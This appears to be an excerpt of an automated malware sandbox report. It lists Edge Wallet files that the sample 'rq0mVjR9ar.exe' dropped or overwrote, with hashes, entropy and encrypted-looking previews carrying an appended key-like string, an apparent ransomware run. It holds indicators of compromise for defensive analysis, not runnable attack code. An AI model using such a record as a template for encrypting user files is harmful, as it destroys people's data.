Preview:	2023/.y..i.4QP.>.L.m(.\|w@&..7mSH...d.<..e.....ky..!_Y%..i........m^.O..yJ..uq...u.....E....z.ta.s..........&..$(O..+...tST...-/!..;.,.{...I....uYR./....S.U.n..nQ.-..4..e...7u?.-..w ....r.x.1.x...`s...f.z....~._-...9...e[MK.......;.c;<..I..B...#.....g.h,......&..@..H.O.W.....9.L}..pI..#Pi...?R...kGF..c.....M./v7n...W.....^..r...7..5...o...7p..A..k..i...w...M...PF...UuV.._@/=.'.i....%.......h8g>)h.41m...<(.;.fO^r.T..c.+O.F2..,Cn`.Iq..D4#....s...^.'...g*m.k.ck.]n..uLOG....:+....,5LS.i...W....r.^...U....V.2.:.....)a.2.Xp.V....?.,.c.`N.+.6Z"\|D..3.y.6...<.d.5.].t."E.O..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet\mini-wallet.html

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1892
Entropy (8bit):	7.893467150952593
Encrypted:	false
SSDEEP:	24:ZNPxt0Srg27QF/CkZFMwRoa8h5X90fFvZDlX4org46EfID6tZtiTkbD:ZtH03Ck3J8hP6FvZbrgypZkiD
MD5:	7D89FE5E2F0759772ADC8AAB8238D9FC
SHA1:	3CC97A628C502C57209C99DD680F5C3F2B283893
SHA-256:	97400DC8A7879D67E89D755E1878CE7BF6D53DF78744D3C8E6A550A4F91E5CA8
SHA-512:	2BBD8C26FA967D441B70273ADF4A49BCABEF89C518B50A8821A296F35DC995DD50E637B70D060500046DCB0969988F45FBEA40154808E112A84F6AB23874D12C
Malicious:	false
Preview:	<!doc...}......Vr.M...)n.....lLTQw..Q.:..BHy.VE. ..U:.k.3E^:.(OAj`.=.y9......k.3...jrEE..0U..I..[...e.......[....I.+....^....gk..E....M.G"4.{...v.n....;3<.....C.R.ex.j..:..J.H..^.......;\.-.5!!p.>f~Q.'.........w..K........s..9..9a...Q...2a..M..mi.....8#.i...9...iE[\...{.r....'...K+..... ekE>.gv...&t.D5.....'...[..S......~>/p ...2V}..Hy....Eaz..~...9J[.Wz?L..i@.83yR.I.'<.p..\|..-\..y.._..v.l..H..j...T,..%..q'....E...<iLd. ...S. .XO...../NUc.....\|.....Fo].^........i`.....>+..}.3........V..n.?.t.y<....h..(..#b..m>.>t.!..g5.1......r}..C.f.Q.....6.T....=g..[\|.5z...A\~.......0R..$.f.....6.N....v.h..Tmx.s.W.J..:..0.#.......'..[m.D..6.[[....I....Y3.F........a......5...A.n3.yRP......V.\|.[k.......gZz;....D'.m..>.6~.e.&.4..%A..Y.U...Uj..9..^...j.r.Zs.C.=.}......x,....F.T..../;..Q.I.....r........#&..7S...x..r..Yq.S.?.\^a&u.e..TZ....+Uq3c\|.Ig.OBH.x.o.l./*.?.u..Bz....#.Mdc.W....6.[......G\...m...5...&.38Cr......./ab..Z...g...o..>..[O,0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet\miniwallet.bundle.js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	363249
Entropy (8bit):	7.1249383075575246
Encrypted:	false
SSDEEP:	6144:ZqmxC9ybapR1FaEmeI6Fuqs4BdPKs1Ney+wtd3MWf9FE5PdwGvPJvUcr2GLk:9C9ybapPRY4BdPTNeyNd3M49OZqcrVY
MD5:	99EC13EF5CE17EB641FE1A52107DDDED
SHA1:	BA088A2C845B81C0C4B547B4F727FAD5446CE852
SHA-256:	835EA6DAB69B6899ECE0951DE3E0AA44C1E52E15411E033963B29411BFB1C9BA
SHA-512:	AF27123C3C3B83FDC6D023C9CBC3C1B970796971E899CF89B25CC2D3F09CDD1CC7DE731546323456585B5852035745DD7618CAD9954F6692FA65BAEF1C113C04
Malicious:	false
Preview:	/! F7.o+..L...[>`.i..7...hm......Q.\.?~..;)..P...O2..t<.S8..8m....h..Yq.....K.T..h-2...j.."..&....b......G.j..B.T'....._...8.....M.#..0Y.7-..e...........j.2r..4.......F..Ot...L.{......D..u...$..}.._d..U....4O....Vf.......P...5d4{...c.!D.....8U..):W.O.#hM=..!.zX.......`.fj.\|....k.@...LO...q...L[Q.y....S...~.C..r...!B4.I..g.?`%H..a..9Y...=.Hp...n.8..b...h..^.^.\|.o..F{;.q..8..Yj...)\...g..?x...'.&.Z.....)..gN.rk=...Rb..,O.7.5..]..f...<.W.....H.pB...H..#9{.^.e,.W@.BN..k......)I.B....HE4..x.._..qr....\..aJ.......#M=3.r...'...Q.......>8&[x0...f..".I...t.I...A.E.EH`1...#$...:.....=...........=...B......V...A....dO..y.....R...\|.%%..I..J...;...m.$M....v.\|...L. .V......Y.......K.R?..N..n.wn.`..M.c)..Ws..?.Po.c...-.\.H..J..T-{...fP~vW.t.n..Gx....%A..x..4G........Bo..Y9..4l.3.G..P\,.....)..........o.9m.M.....M.}._U..g....+2A?...j3....G..Y...SiR..%..0?.#..h.[.......KCo..OT........H......}S...D."........8.J...D.{...q8n..n/.g.Q.K...P.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet\miniwallet.bundle.js.LICENSE.txt

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	629
Entropy (8bit):	7.623801101048229
Encrypted:	false
SSDEEP:	12:U4nvVRQU0r2XUh7Ssa6JjINPptPYc9OyiFaJMFIVooZrTixpZacii9a:ll0KEFa6CPfYCOyiFYEIioZrTiTkbD
MD5:	8645BDCC7BDE38C6338ACABA09E8288D
SHA1:	BC07AF434A6B88AB33B99B05CE1D70582513C48B
SHA-256:	AE65A0BBA97CDC72546B44912464163780C7C5787FB12DE5719CBAE546A91D34
SHA-512:	8E9040B78B260127CDF97B4F59CD1F530BA6591AAF0354D2A92449CE5811CD9CAEBFE1F9EFB4AC8627EF2A88BDC10B46586AF6E098E9611D9D6EC243582B9024
Malicious:	false
Preview:	/.ob^.}...pN-^R..7X..tW..\tk.;+..X.....U....J..L.qxJ.OF.sG..o.;.{S.....a{.. ....4gV...A&.~g:R...l.W...3MBO(]:.X......{.g$v.m.=.....j}.].@.9'..s.....;..fL.s.J.U#J.n......f...,n....5..)(.~.".8...d..6T.R..R........z.bJ........2.U&.u..kLo....2.+...iv..`..s.+3]P.N........~.h..&...Y.,C.....Vj.L9P6.d..8....*..:h......P.U.....2{..}+..{.#..h.).ar..[Zh.........0.tH.m&...!v.An..T.m\|.I...Y..Yj.P.#..]...EQs.pU...%...()n}...{.}..7.>Za......I..#.~&..{.0#B7.0]A.....K0...[....I),-_.7'W..=.0..&.9........f......_.....v.dP.F..&.<...4....^+g.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet\shimmer.js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1375
Entropy (8bit):	7.834539973626823
Encrypted:	false
SSDEEP:	24:994bDjcJJ7HL6zexpc/382IYFLETqMdIsYPIVaC87Y253+mtz64EjP5MguhRWF6y:4DQl6IW/3IYqrzNVaC8Metz64WRM9hHU
MD5:	715324999A68554A82DF14BFAB3C73A1
SHA1:	751D9BD49504D215E313D85E30209D5012224AF4
SHA-256:	42785E68E9BD628DED7FA9E29D1EF6D3F021E49C6F9A988AB791F078DD4CCCA1
SHA-512:	36EF4D197A3565AD2D836BC328EBCE458FA346F989AA187D6E977778404B2B78E65B14C23A9595BAB7D6DC199545B05EDEEFD3E7EB0E557C20CA7458851D9871
Malicious:	false
Preview:	(()=>#.y.3...Ps,Vqc.....r..[..D..Z"WQ.MY..Z.<D.at..Rw.<.3.......UN).=..&..@c.a4...".J2%...l.........3o.......... ..Z.V8..{.......X.Mk...74.....%.v.%.,N^..%......to\|....e......4OA.4$-..u.%....).;...6`.......l.e..M.`........J........4..N..t. 2@.j..?.7.M.0@.-0.M.....'..........c.Q..ihD8X.`...V...W.....G..4....[...X...G.=..Y.q..X...r.$.NLJ/Y....r....gZ.rVU..eK.M.t.P..0j..;.\|.b' ....6.We.<....`...aG.,4.!.M.~..rC.x..uyQ.0J.6.".....&~T.C.._..]..e.........].T\|...&[R.&...[@jSO_kqxgzA.....Q........).-..MN{...h.^..Y....x...._....TL..{..8..h.l....}mZ.Vl.2......?.-...<=.(.#.ZL.\|.....&...=.D...W.S...t.9<.U..\.S...;..@q.4h...{.G....]..b...!..9.......a"l.-..Dlp.h.U..a..v....yR...K..:..X.]..Z&..\..a......nk^\|......7Yt....cq.`o..q......+.u_.Z...s..h.. X......ip..n..r..Jhw.\|1..c.].#...Xn......L.D.v..`......)....#.=..=.:J...........g......C..7.{8....f7=...P..o..1.....u...\gI......4t...g.coBU.1..F.y.M@s..j.4.LE#..Lu.O......6..x...~.Q..."..W

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification.bundle.js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	493440
Entropy (8bit):	6.996205649065479
Encrypted:	false
SSDEEP:	12288:Cs5HDgh7/cvw7h9WE1NVYFQ7Mjh5+kJSe3JZkJT3jucyEfQHe3JMqDcMrqyroUqY:Cslk7/cI9WE1NVYFQ7Mjh5+kJSe3JZk5
MD5:	EB3AC2E869A366B621B00A08EFA2A65F
SHA1:	3BA7C0F60029FC5AE110FB03BDA7F779816199B0
SHA-256:	956229F2D62812890BFEC3C9AE8C23433AC212BC27D824B8D4BE3A8C56387EAF
SHA-512:	A839C6AD4A74F46A658BCB4F274325F601C0BA4F51B6E497C6CEEE8552AC238D0912E931CF6FDFB3085EEBB100457C4D2FAB23E2772FE1AEC74F2B5020B0F086
Malicious:	false
Preview:	/! F.C...mG.R...].E.<9....>0.M....&H... .%..'3...pD...Y`......l.....0c..o..n.....6=.^..3y\I>0%...<..o..q.k).!f....E..$..$oLq).c.F.<-.?.#....L.?..D.$..R.&!.W..,H..m..\|.O... \-M..i.....N....._.0.s.G..p..%H.......$....6,.i..nn7m.odW.......$V.).c.`....6...i...0..Rr..U..9..Q..I.'.S(....&gvC......~.cF..Thy.;.7.....TC....=H.RE.ox.K.i..-b...../..@.D.....~..^....e@...]a..#.3f.m...-..........)u. D..C;....%D...eeD"#...%MbWQ6,.....'.1.x.b..NZ..xT..{.I..y.UJ...}w...H..[..D....0r.!..z.v-.-....4u9t...f.5WEM0.&....Wk.>...r.......L.w..../>].....d.T..C.D.A.pqy....A...{.eiy...m..gH...-.R.+..u+.Ya.q.H..B?...a'..x.rft2..JS=.n.-...,....l}4}.....'.......p#.)1W...`.....rC...qG. ..P....]..l.~..q..c./d...~.o.z+/...r!...d.:...Y..>.....)...yM...9.n,dd...Z.QU..0.j....z=S..n.Nc..e.M.b ..w....#G@..<N<H=..+S?.Pz..Wm.......=.{.~o..,}.....&..n.....[?Y.B..F.F...8M4..\|...0S..3V4!..>..L..m.?.,$..^.X..T=..../.C.....~6%q..0.._b......98i(...@V\.f.*... !..jp..&uw....^..H..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification.bundle.js.LICENSE.txt

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1651
Entropy (8bit):	7.898442878963853
Encrypted:	false
SSDEEP:	48:fjEdPMTL+2elfIho75jdq4EQ1bwDXB0fDuIiD:fykTNemU5Jq4z1m07uX
MD5:	9352A2079E2DBC096E4AA5104868B451
SHA1:	2C731EC4B8D633D23289321EC78CA14E8750F837
SHA-256:	C473C73BBC9763046252C6AD7C543562FE4697C8869ED613A66127FA01615A9A
SHA-512:	61EE091E5E8C8DA6ADF26678456B47D729F62C01CB97B29F556D9B723D700D30051D77BACAAE50C5694D0A71000F919B2A3C38AB39D8566EE3198E5F59E2BE39
Malicious:	false
Preview:	/.ob.F.^R.@2. .e..@wb..../.{.m;s.....&i...............)@8.....')"......I..u~ecNI}.....\|....&/.B...S.C......YAg.a....Y4.4.. .Bff.....D.4.PQ...e...x.N...W.y.r...._ .l.....ll.b...0@].DS1..z9....4....L.....7.:-f.MN.`\|....".7. ....%......A.To^Q.:Y].Z.M...4g.A....V...kE.....".FT.m..(1.\._.. ..u.J..j...........@........m.M.Zba!w.L..^k:-b.F=oU"z.9.(.h.g[B0..#..6.....X.J.....j..K...i9.i>...D.\k.. .4....3=....M^.+..#..Ok..Rg....!......T@....g..E+..x)....lF..\|...tn@6.l.K.I..K.3......?+.4.R.\"..%..xT.......J..lO..ed...i..k.)\|nl.1..5.w.g^...+...F.0.}K..d..b.....k.((xu..\.08.P.t...g.Q......1.T.\.../....:0.........n(,%..=..a]...1"/v...i.........dQX..#.+q....e.fw..C.m.7Dr..m..p..8.\|).:b.........<.{.....q.@P.X..\|......I...!......n......4Z8.I..E..).~......'.Ls..,.#..S.G..v........$..O.._.-.>l..3...=...i:..Fz.{......d...6&}u.._2+>3{ I.,...........sI......P7..7.....O...@. .`.v7.mUa._<....p=.].$W.}c..7Xqbb....y..pZ.w?.]!?..W..k.A...S..&Evy...g...........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification.html

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	5239
Entropy (8bit):	7.9700317551293525
Encrypted:	false
SSDEEP:	96:USUU8ZjDdo071pZgFdi8rrA0xmYVu//gxoofiiZyuMhEwzWdktLHc:UTU89hpWFnSiu/JydMyGWdkt7c
MD5:	4AABB63EA7C2D8A8C7E28165CCB8C705
SHA1:	0BFE83AF9B9B1915B8A9788A073608EFAFBD2888
SHA-256:	E9698E6D3125486F46C3B79AA569E9F1596A2DCC432946BFFCD3793B2A1CCF2D
SHA-512:	6C153657B2E550A9C962E45964DE157E5D20DD2BE1AD925B1BFC76C7C89A7D8DE576FE64F0359799D5E906E5B983444F1C21EB1D9CC7792138BCD7961F1C6F78
Malicious:	false
Preview:	<!doc;........k..x.=.3..o.{...-.......J.C.o.:....C.a....b.Vv.[1..#../.k9M5.....$...6..m............Rk.l..zn.;..Q.k.].x.Z..........a.........p.....=....... .r9.B....8@.G..{NM..@[....}........Y .i.&..{...(..........Mh.l.].L+V..%...vkis".2->V..Ai..8.W.C.p..._..S7o..L.(...e..zsu...1...ID.F5.f.....ct'.sk0...#....,.....l.L.i.$,.p./.t<....H.b.....s...&......->...g.f.....y.Q......."bR..'.D.\E.....\|...p.....j......p....\......w...!..+8.Q..).#./..0.cB9g..@....g...9....t..W.f.J.V.I..Lf5o..L2...'o...B.q2...1...../.......ZE..u.x/....q.^...._.hv..I.."..Ms.%....b.r ]{B..A.F.N.."....}..h6.n..K..<..L..e.V`p.y.y9.H...Y..s.D ....Qea.?..).tf.S...)....w>.......{i..B..mh.r..ZK......x..n..w...m..L....0.t.^1;......CR.M\....iB.^..]..E.WY;{.h...1.:..O.{.k.uFR.1.?J.Y...b[#.!..s.W.Z...'.. ....{U.u.j..>...5I...F.k.b.;......9+..]......s..h....P..J....Y..w1b..d.m....t.2mK....k.C..w..Pg.?^.+2.bL....eO..Dh.B..9.W$....Z.U.;.Rk...7]...B1]....Jbm. .....<.D..g.E.f.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification_fast.bundle.js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	330024
Entropy (8bit):	7.337297483304537
Encrypted:	false
SSDEEP:	6144:16p84jYitEtIHQNtPbVdh+zyqpDdDWBQBfMrE/qWbgo9AhTZQKZBG/:YMyEtuSRhnqpgBQ9MrUqQ9Ktg
MD5:	FC9BEC5A90D9DED42DF775105E067BF2
SHA1:	CCD3E378308BBA8B58B48B5567DC729F88A1CEC7
SHA-256:	E1D0D080B7BC7138D61073F50EC902D0692B26ED4288DA9CC1FF7581176D18AA
SHA-512:	2EC48D2E44677E6CA1DC2C1651A39C2E7D13F39113F0DA7D3FB4FC1DCE1C4C953E6B78FB2B237885B1CD2CD80E4767E2E1704DEE50C166B4E11DCA5AFE045823
Malicious:	false
Preview:	/! Ff......+.h..s .9...i..Y...S.....@'....O.. .>u%.K...P.A..f.1..\|+....8......T........R-b..n.>.n...K]B...-K........x....H.}.._bbD.N...#....Z....vD...F{..;..Sm...d.k.KDzmU...m.....5X.7}...z\....Woxt4...M."..p..M...L....._.t.}..>V....=.E8/....&.4.=.H!%Q..7...:6.Y.yk...V.f.WZ..AD..Q......Px....$Jw@Vw<.a.87iz.h..B(x.t...V?..gR.e7".j=.[p.m....O..i.~..v.....k..5...Y.....i`.7.y.......V...%yc`.V..Kz.Ek.bG.m...........x...)7^.`...@s.....n..............J._jY.xW~.?x.P(.Wh.5.^..&...2..D.G......`..T.....&....x......Dc].)kw..Z.>C...Tv-..g..Q...G.q...<..Xp.3u.[.....I.4.......i>....n$06?..`...f...r..;?. .+.B......hv..A..WNs....$....Z.....lv.6..X.%Nc,..[Y.&C}.L?..^.Q..n..5j..-..}.f......=..X.t9........T....S. ..u...U.2.....P.V./N.]..V%.{..N.k...u~...[(.:....\w._..C..JoJK..0.,RHA}......U})......u.EE^....X....cb......(u.......U..d..vP'.......Z7kP..@...M{&..."+.Kt.@"......,..........t.g...O}..N.^>.....N7.....eI7..r.."..9...F(\|....(.dZ..."..^..x

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification_fast.bundle.js.LICENSE.txt

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	629
Entropy (8bit):	7.62353561724039
Encrypted:	false
SSDEEP:	12:UEmui8AM054C+k4Ulzxiet1QyEA1Jpo1mtSUeTEM4VkgLklTbA4jZEIixpZaciik:3muf0QdiDQyn7o1seTEAwwA4jZviTkbD
MD5:	2FAE49586F190C195C4DD6BF2755BC65
SHA1:	65158A4F2423802595184EA28D5C63649A9DC47D
SHA-256:	B5F49D576D3855E495A0A0C3CECD96EDFAE12BA476030A3D1AC986213511075D
SHA-512:	0D050AC390547867E6151CB9C882022CA2D9E755C69C9AB555EC3504CF5BE2347E66F65EE2EB9F676047B33FA267A2626973A6AFEF9067350049FD6795B3C5AA
Malicious:	false
Preview:	/.ob.......Z...G^.O.7.......!....Q.v..&01..M.vZ.rn..e.r..(.F...k;%.J....#l...h.....BZ\...Nc.s(.....c...p...........$.vo;...H..`4..e..O.2...#!...l.B8.....[.t?K...."...v....2.u.}Hkt...I..:=....J....1U.I ."a.~......lQ.....z.."........}DF..Z....D.s.\g'...)...9EQ(wu...XQ..h.P'.N@..7...R.r%....$.}G.i\........D.<.X.EgDY..KD:O.`h....MBC......p.w.Hc.......H.Lm......\|kc.......%..,%...g\|q?..\.Z..I.1;.nc0x.a.-.oDZ...x..^w...... .....z.........^......5}../.:r...U.b.......T..;.^..?.7..H.x#J...[.s......M.8.[8.M..`'..>.H...*."..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification_fast.html

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1890
Entropy (8bit):	7.888253759191424
Encrypted:	false
SSDEEP:	48:5gXVd8Pav3WKp2K8RMk1UpKcy+D0u1Z/uSaESiD:mXP8PW3Np2Ky7+O2G/E
MD5:	EF5DE3FD707838277A09F6521394C0F6
SHA1:	09682A4209F38ED79A7C4D56B1D55ACAA002068D
SHA-256:	8FF1528C2E0BDC5AAFC5F0537EB4B6AB551466758F7618051AE40975A934786A
SHA-512:	4F5DB4D36C2665A749129FB796BA49CF5004A03CAFE6D246903E92D48F85B905644E096FAB9785F285A6E187297150EFFFA4C00BBB3043DDE0D355F8A33B09B4
Malicious:	false
Preview:	<!docZ.G....D._...=.UI(....N,y.`.:V#".I.s..$C....5".~..c./c.C..a....Z.2...y...9.b.c:..m>........t$.Al.=.&.~!...+.9.@L..3....d....$.h..7....edQtD7.~.....i..im.!B.S.]L@...8E=.)^.i]..c.l.1......"\.8.d..&..Apw...f..,...4....!.~`Y.69J$...4J$[..$1..~.sG.._.,9.1.......:E/.G[..a.........iW..0..p+..2PM.$.z....,<....a.y..%.....=.vE......s.............D\|.(...I{...R.r6..X(.M...<....e~&A...u.x...z.GGb...............n5G..g&....W..t.....<.......A....8.>h....^.0!.8....b..E...X..3>...o..6..V..S..Q]........x...:.W.......\ .#....I\|R....0...n....!..2..@..-.,..@..]%.4..>..h...;Lo..j.)...].[.P.&....1.>...6.l?.../....?.n.......[d...]I...P.........P.x.....+Y3]5Z.~..T...w.u..%Z9y..R.n...o%l.^.E.a4.P..w.../V..^.Q9.d.L..K...-d.Lo.d.=v..T....~ntc.,4. 8...4....n.@....w=....M.....&.......D...Q..G...?.7.@w...b....v..,...=X/.r....^-..^.*.n}..{3E......zb.vD....-.}.8.Si+.&..&..wd...V..Up.!"......7...\..XQ5.8..J.... @..._...L~s.y{..o.K+..!w.\.St..,.f.r..9[{@.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Tokenized-Card\tokenized-card.bundle.js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	552583
Entropy (8bit):	6.783860255346623
Encrypted:	false
SSDEEP:	12288:yNRi09GuL8wW/LdQ9vx7N+skLnBYFQPMjh5OkJSe3J9OkJT+jucyBfQHe3JbwrQO:ei09GuGLe9vx7N+skLnBYFQPMjh5OkJA
MD5:	54F1154B8D45611922B62540A3C607A7
SHA1:	2E7BB273C171EEA8E140C1FBC6F3CDA1623A4253
SHA-256:	BCBC2D8C304BD004B15084C3C15BB1F1F5A94325A0167AA6D9A833997DA78588
SHA-512:	75A3E67B7A2398DEB8488CB61659EC7D561085EE6734BF18AF2681736AC63E533EBFAA0C7946A17C6EBEBACBC652613326E88ED1B98F6ABDD6F83E34A5146778
Malicious:	false
Preview:	/! F.X.dq...\.oI.i.?.G.......X..u...k.....n.w.\|.%.6.x..o^..k.......N.......w...@.'..1...!0akz[>.."...Jx...H..........Tf...I..4...l..?I.........tr)@7(..-.Q7..c.]..wH.~.G2..[0..6.(......^![5.1.n.Y..o...IZ...S..F@(...I..m....mw.@[82..}......Q7..1..g..#,....p...!.s>M.B...=o.1.@U!..r.).z.l.d.....1%.>..../\|..\|.#..{0.f.N..m :vkL.n%9.\...z..N.u...M'..[.+.......zP....\|a......t6~<..:9../"O..#mIO....n:.Z..I.!....o...Kr...8u.1Tu.\|..k.t.....J.@....Y.4..s...&..8....k..R.#.L_.)..H..#.h...F...F../.).z..-r&.`$j..i..a.&f.....F/.a........$.s.).j.+.8.C........?...d...D.. K-b\|}..r..mV.>....^5.i1.F..,.?..9O.60......._Q...~..n...e.]..P;p...2.W..K.e..K..3.....$.q....9.=...~.!.OF.-l..FipU..p..I./f.h...i..R ..VS,J*...{.4......u..p>.$ a.........)....v.....w..l..S7?.aW./....}...~.....(.Hd..N.....h<.5.....-'-.\U..8;.A"......M.s?x...\|.vH...........:...Qe....<)r.\|8..V,W...M....{...D...W1D.#12.L.....h...D.......h..., ....1......Sq`>..... s.jrs$e....A!.6.:.b-.L..\|fK

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Tokenized-Card\tokenized-card.bundle.js.LICENSE.txt

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1651
Entropy (8bit):	7.888911745800232
Encrypted:	false
SSDEEP:	48:XjBWINarXhbswV6KmtgWRVUkbHfNd5lwR/qzGiD:XjBWQoXhoKdeUkbHfNd5lWCz5
MD5:	8D7DE48A863CF7712BE716371E529D06
SHA1:	8BE53ACB6B9DBC87E73F9EBAE1A903B463CB3E1A
SHA-256:	89AB012F3E2ABA5872FCDC1E17D7F360008015C1C48366DC3CC054B9EDB703C0
SHA-512:	C3418B12A953CA58ADB768A969036CB18060C05A07DB1E1128890293FA715FBF756CDF457281DE43A157B7B5E0C99F0C6D27D5BBE55A6239929F2EA247270376
Malicious:	false
Preview:	/.ob.cZN..40.n.;7.@D.S.....\|..%.V.L...r..N.x...#h.,..n..{f.....g.Yc.....I.<P.].,..h...6lC.uE..e...M^..8....{.`.6....Y.tE...y...-#.....I.r.5.6.u..v..b .L3\|.)..p.iZs...ZY....... .....9...(........M7...S8a...[.......pqb..'.\|......\|....b.U.1.K..;.k....d.... ...$1 .q.......B..]..)0..W...F....f.D...y...dP.\|......U.'q...8...(....HY.m...eP......=..q....<&...].A8B....H......,ks?...+..@.-.u.9..6......q......u..M./XTW..g{?.....'..U....}...O9P. ....(.t..?....o.b...q...%.7.....j.5.d.n.5g...rc.n.E.X\\.;=.g0..).?.....*rA..t-k3_2....A{.,..=./......w.....d......,y.sO_...w.....b.vy9r8.d.-5.=....jj..K.\&...x....../.ui...1..9s..\..o.K...O....z./..^.......0s&.i..-R./.?.~.F;....MA...wF...-.........Cu/.3..'....~..H...&.....$a...8S...R..8....g..........3B].)/...N/..<v..(...l...Z........:5....h..z.K;...B.......us...n...w..`.J.....R?...................l@Bm....c..>!..k..RR..]rf......#. ..#.,.r...S..b.S..mI.=.$3.._..x..tI.L..Cn...NA...............h.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Tokenized-Card\tokenized-card.html

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1747
Entropy (8bit):	7.875724701497121
Encrypted:	false
SSDEEP:	24:opipNj8nTPymYY/4PA8puqqWcAGvVp27yRNrguBYd69vAL+3SHwWbLPsIxGiTkbD:e4NjSLz/4PAFCGvqyRN5esCLPsWjiD
MD5:	44AE175D857D7EA067A89A64804C5604
SHA1:	5FD187373332E3692B149676DBF4B6FBE9A631A3
SHA-256:	372F2BC6F391D07E33145FB4CAAFE367790BD8F81D28BF2EDAC8BD4298CFEE8E
SHA-512:	2C726AD768ACBFA0CC387F5CA3CE393AEA01314E8FCA2EC64A13EDCF808B23F3D3C727D3E9598BBCF3CEDB4F9A41C5963BD44FA9C9A1B0A49C7C993118465EBE
Malicious:	false
Preview:	<!doc.s.qT...A.Tf.h.%#.8..AK../ ....h{..+..A...I...#.H.QI..@....`.!..?.QX.e. XRQ.wfm.E.}).,.%nt...HH......#....0.f..b...H..gU...8,....0jrc..[...-!V ..e....7..l.F....o......ie:..6.d?...^g(..s9....s9l..)Q:{.$.l..{.....^.b.....%p.3.....NL-..j.0kc..4......1......r....b.....L...\2f.*.p.(.....`..4.....OI....<j.....F.<.......I.%j..Q9._.mMm.............L.@...v.aC......4h..!.B.(.Td...#;...T..t.Z..t.4...>Z.........c.;$...I..J{."x...xf.......X...8...b..W5..6.._.... ....fG.P.-8.i,C.............]......}....9....]Q[.....C!.(e.3."N..h.r....3z.%..i.k....".z....G.eh...d....3.....I..L]..i...Y...6.A.5...y>Z.!Z&..AX.v;:.....A..$...G..7.....<.8.c............M...@Qz..^...0/..8PZ_.-......[.....b...rp..]].K.k.....P;s!...c.c.......i...=p.q. ...Z..R.9q....;.zJkq......P#0S.P...Q>zXFr$+!..#.....,.x.J-M..p.3..V..V.c....7....1e......=Kx`.6.zD...i-_.....)......TqE.Wm..UR.,.v.l....V..3.8...\...`._$.."....AJ./.#.U.+.G.....#.).@.....g,......P.W...g9..@X..j.^.a<:.d(Y[t..blx

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\app-setup.js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	371
Entropy (8bit):	7.286918774434898
Encrypted:	false
SSDEEP:	6:GAWU+mLak0qoZXTl3n8sWjyf7R9pZLpgh/G636cDaOjGxssZacii96Z:J6muk0qcXpssZtLZeZHixpZacii9a
MD5:	68888D6384656DBFD3520E05C2EF24EA
SHA1:	117B51436C611F83ED18193D55ACF4B6DE500A51
SHA-256:	9A7F209B9C187961D5D78C39879619D44A24F9F6C8CFDC486940E2EF4B3659B5
SHA-512:	7E6AF9244AD87EDEA152E26D7975E1AF265C6F86EA2A5487262A8C3C044742E37B272DCB85EEA20B8BFC23F5CEEC4F7B006D0FD8C4ED8393CD02023974603989
Malicious:	false
Preview:	windo....=%H..s1....G..a)..'..0A2..W:BR....lB..'.....}.p...2."sC...uY...5.N.......b...T.>.....OlvglMu...B.r........2....I...q.`..{hf7i.N....y...@..oC.Z.......[.%m.._.z...D.5...u.........p..J.gr.d...,#.........@,..)....1.5.#Eois.,.*..3Q......b..&...:..XZw.T...n..p\|qn...82....U].r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

